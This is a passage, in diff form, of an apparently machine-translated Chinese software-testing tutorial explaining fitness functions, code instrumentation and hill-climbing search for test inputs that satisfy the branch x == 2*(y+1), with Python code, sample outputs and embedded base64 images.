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
+)
+
+最佳值，即那些使if条件成立的值，其适应度值为0，并且可以在图的底部清楚地看到。 离最佳值越远，搜索空间中的点越高。
+
+### 仪表
+
+适应度函数应为具体的测试执行计算距离值。 也就是说，我们要运行程序，然后学习该执行的距离值。 但是，分支条件隐藏在目标函数的源代码中，其值原则上可以是沿着达到它的执行路径进行的各种计算的结果。 即使在我们的示例中，条件是直接使用函数输入值的方程式，但通常情况可能并非如此。 它也可能是衍生值。 因此，我们需要直接在条件语句中观察计算距离度量所需的值。
+
+通常使用*仪器*完成此操作：我们在分支条件之前或之后立即添加新代码，以跟踪观察到的值并使用这些值计算距离。 以下是我们正在测试的程序的检测版本，它在执行时打印出距离值：
+
+```py
+def test_me_instrumented(x, y):
+    print("Instrumentation: Input = (%d, %d), distance = %d" %
+          (x, y, calculate_distance(x, y)))
+    if x == 2 * (y + 1):
+        return True
+    else:
+        return False
+
+```
+
+让我们尝试一些示例值：
+
+```py
+test_me_instrumented(0, 0)
+
+```
+
+```py
+Instrumentation: Input = (0, 0), distance = 2
+
+```
+
+```py
+False
+
+```
+
+```py
+test_me_instrumented(5, 2)
+
+```
+
+```py
+Instrumentation: Input = (5, 2), distance = 1
+
+```
+
+```py
+False
+
+```
+
+```py
+test_me_instrumented(22, 10)
+
+```
+
+```py
+Instrumentation: Input = (22, 10), distance = 0
+
+```
+
+```py
+True
+
+```
+
+在计算适应性值时，我们将执行检测程序版本，但是我们需要一些方法来访问在执行过程中计算出的距离值。 作为此问题的简单第一种解决方案，我们只需添加一个全局变量，然后在其中存储距离计算的值即可。
+
+```py
+distance = 0
+
+```
+
+```py
+def test_me_instrumented(x, y):
+    global distance
+    distance = calculate_distance(x, y)
+    if x == 2 * (y + 1):
+        return True
+    else:
+        return False
+
+```
+
+现在，使用此工具化的`test_me()`版本，我们终于可以定义适应性函数，该函数简单地运行工具化的`test_me_instrumented()`函数，然后检索全局`distance`变量的值：
+
+```py
+def get_fitness(x, y):
+    global distance
+    test_me_instrumented(x, y)
+    fitness = distance
+    return fitness
+
+```
+
+让我们在一些示例输入上尝试一下：
+
+```py
+get_fitness(0, 0)
+
+```
+
+```py
+2
+
+```
+
+```py
+get_fitness(1, 2)
+
+```
+
+```py
+5
+
+```
+
+```py
+get_fitness(22, 10)
+
+```
+
+```py
+0
+
+```
+
+### 爬上示例
+
+确定了表示形式（2个整数的整数）和适应度函数（到目标分支的距离）之后，我们现在终于可以继续执行搜索算法了。 让我们使用最简单的元启发式算法Hillclimbing探索这个搜索空间。 隐喻恰当地捕获了正在发生的事情：该算法尝试在我们的表示形式所定义的搜索空间中爬坡。 除此以外，在我们的搜索环境中，最佳值不是高值而是低值，因此从技术上讲，我们正在跌入低谷。
+
+爬山算法本身非常简单：
+
+1.  随机出发
+2.  确定所有邻居的适应度值
+3.  以最合适的身价去邻居
+4.  如果找不到解决方案，请继续执行步骤2
+
+爬山者从随机测试输入开始，即`x`和`y`的随机值。 对于任意一对随机整数，它们满足条件`x == 2 * (y + 1)`的几率很小。 假设随机值为`(274, 153)`。 该方程式的右手边`2 * (y + 1)`的计算结果为308，因此该条件显然为假。 登山者应该去哪里？ 让我们看一下此测试输入及其邻居的适应性值：
+
+```py
+x, y = 274, 153
+print("Origin %d, %d has fitness %d" % (x, y, get_fitness(x, y)))
+for nx, ny in neighbours(x, y):
+    print("Neighbour %d, %d has fitness %d" % (nx, ny, get_fitness(nx, ny)))
+
+```
+
+```py
+Origin 274, 153 has fitness 34
+Neighbour 273, 152 has fitness 33
+Neighbour 273, 153 has fitness 35
+Neighbour 273, 154 has fitness 37
+Neighbour 274, 152 has fitness 32
+Neighbour 274, 154 has fitness 36
+Neighbour 275, 152 has fitness 31
+Neighbour 275, 153 has fitness 33
+Neighbour 275, 154 has fitness 35
+
+```
+
+将`y`增加1会使等式右侧的值增加到`310`。 因此，等式左边的值与增加之前的值相比，*与等式右边的值甚至更大*！ 因此，增加`y`似乎不是一个好主意。 另一方面，将`x`加1可以改善性能：等式的左侧和右侧变得更相似； 他们是“不太平等”。 因此，在`(274, 153)`的八个可能邻居中，增加`x`并减少`y`（`(275, 152)`）的邻居在直观上似乎最好--条件的结果仍然是假的，但是“少” 因此”，而不是原始值。**
+
+现在让我们实现Hillcimbing算法。
+
+```py
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+LOG_VALUES = 20  # Number of values to log
+
+```
+
+```py
+def hillclimber():
+    # Create and evaluate starting point
+    x, y = random.randint(MIN, MAX), random.randint(MIN, MAX)
+    fitness = get_fitness(x, y)
+    print("Initial value: %d, %d at fitness %.4f" % (x, y, fitness))
+    iterations = 0
+    logs = 0
+
+    # Stop once we have found an optimal solution
+    while fitness > 0:
+        iterations += 1
+        # Move to first neighbour with a better fitness
+        for (nextx, nexty) in neighbours(x, y):
+            new_fitness = get_fitness(nextx, nexty)
+
+            # Smaller fitness values are better
+            if new_fitness < fitness:
+                x, y = nextx, nexty
+                fitness = new_fitness
+                if logs < LOG_VALUES:
+                    print("New value: %d, %d at fitness %.4f" % (x, y, fitness))
+                elif logs == LOG_VALUES:
+                    print("...")
+                logs += 1
+                break
+
+    print("Found optimum after %d iterations at %d, %d" % (iterations, x, y))
+
+```
+
+```py
+hillclimber()
+
+```
+
+```py
+Initial value: 201, -956 at fitness 2111.0000
+New value: 200, -956 at fitness 2110.0000
+New value: 199, -956 at fitness 2109.0000
+New value: 198, -956 at fitness 2108.0000
+New value: 197, -956 at fitness 2107.0000
+New value: 196, -956 at fitness 2106.0000
+New value: 195, -956 at fitness 2105.0000
+New value: 194, -956 at fitness 2104.0000
+New value: 193, -956 at fitness 2103.0000
+New value: 192, -956 at fitness 2102.0000
+New value: 191, -956 at fitness 2101.0000
+New value: 190, -956 at fitness 2100.0000
+New value: 189, -956 at fitness 2099.0000
+New value: 188, -956 at fitness 2098.0000
+New value: 187, -956 at fitness 2097.0000
+New value: 186, -956 at fitness 2096.0000
+New value: 185, -956 at fitness 2095.0000
+New value: 184, -956 at fitness 2094.0000
+New value: 183, -956 at fitness 2093.0000
+New value: 182, -956 at fitness 2092.0000
+New value: 181, -956 at fitness 2091.0000
+...
+Found optimum after 1656 iterations at -1000, -501
+
+```
+
+通过选择`x`和`y`的随机值开始爬山。 我们使用`-1000`-`1000`（我们将`MIN`和`MAX`定义为更早）范围内的较低值来减少播放示例所花费的时间。 然后，我们通过调用`get_fitness()`确定此起点的适合度值。 回想一下，我们正在尝试找到最小的适应度值，因此，我们现在循环运行，直到找到适合度`0`（即最佳值）为止。
+
+在此循环中，我们遍历所有邻居（`neighbours`），并评估每个邻居的适应度值。 一旦我们发现邻居的适应性更好（更小），爬山者便退出循环，并以此为新起点。 此简单爬坡算法的另一种替代形式是删除`break`语句：这样，将评估*所有*邻居，并选择最佳邻居。 这就是*最陡的爬坡*。 您将看到达到最佳状态所需的迭代次数会减少，尽管对于每个迭代都执行更多的测试。
+
+```py
+def steepest_ascent_hillclimber():
+    # Create and evaluate starting point
+    x, y = random.randint(MIN, MAX), random.randint(MIN, MAX)
+    fitness = get_fitness(x, y)
+    print("Initial value: %d, %d at fitness %.4f" % (x, y, fitness))
+    iterations = 0
+    logs = 0
+
+    # Stop once we have found an optimal solution
+    while fitness > 0:
+        iterations += 1
+        # Move to first neighbour with a better fitness
+        for (nextx, nexty) in neighbours(x, y):
+            new_fitness = get_fitness(nextx, nexty)
+            if new_fitness < fitness:
+                x, y = nextx, nexty
+                fitness = new_fitness
+                if logs < LOG_VALUES:
+                    print("New value: %d, %d at fitness %.4f" % (x, y, fitness))
+                elif logs == LOG_VALUES:
+                    print("...")
+                logs += 1
+
+    print("Found optimum after %d iterations at %d, %d" % (iterations, x, y))
+
+```
+
+```py
+steepest_ascent_hillclimber()
+
+```
+
+```py
+Initial value: -258, 645 at fitness 1550.0000
+New value: -259, 644 at fitness 1549.0000
+New value: -258, 644 at fitness 1548.0000
+New value: -257, 644 at fitness 1547.0000
+New value: -258, 643 at fitness 1546.0000
+New value: -257, 643 at fitness 1545.0000
+New value: -256, 643 at fitness 1544.0000
+New value: -257, 642 at fitness 1543.0000
+New value: -256, 642 at fitness 1542.0000
+New value: -255, 642 at fitness 1541.0000
+New value: -256, 641 at fitness 1540.0000
+New value: -255, 641 at fitness 1539.0000
+New value: -254, 641 at fitness 1538.0000
+New value: -255, 640 at fitness 1537.0000
+New value: -254, 640 at fitness 1536.0000
+New value: -253, 640 at fitness 1535.0000
+New value: -254, 639 at fitness 1534.0000
+New value: -253, 639 at fitness 1533.0000
+New value: -252, 639 at fitness 1532.0000
+New value: -253, 638 at fitness 1531.0000
+New value: -252, 638 at fitness 1530.0000
+...
+Found optimum after 517 iterations at 258, 128
+
+```
+
+我们的示例程序具有非常好的健身环境-完美的坡度，爬山者将永远找到解决方案。 如果绘制随时间推移观察到的适应度值，我们可以看到这个不错的渐变：
+
+```py
+def plotting_hillclimber(fitness_function):
+    data = []
+
+    # Create and evaluate starting point
+    x, y = random.randint(MIN, MAX), random.randint(MIN, MAX)
+    fitness = fitness_function(x, y)
+    data += [fitness]
+    iterations = 0
+
+    # Stop once we have found an optimal solution
+    while fitness > 0:
+        iterations += 1
+        # Move to first neighbour with a better fitness
+        for (nextx, nexty) in neighbours(x, y):
+            new_fitness = fitness_function(nextx, nexty)
+            if new_fitness < fitness:
+                x, y = nextx, nexty
+                fitness = new_fitness
+                data += [fitness]
+                break
+
+    print("Found optimum after %d iterations at %d, %d" % (iterations, x, y))
+    return data
+
+```
+
+```py
+data = plotting_hillclimber(get_fitness)
+
+```
+
+```py
+Found optimum after 429 iterations at -1000, -501
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+fig = plt.figure()
+ax = plt.axes()
+
+x = range(len(data))
+ax.plot(x, data);
+
+```
+
+![](data:image/png;base64,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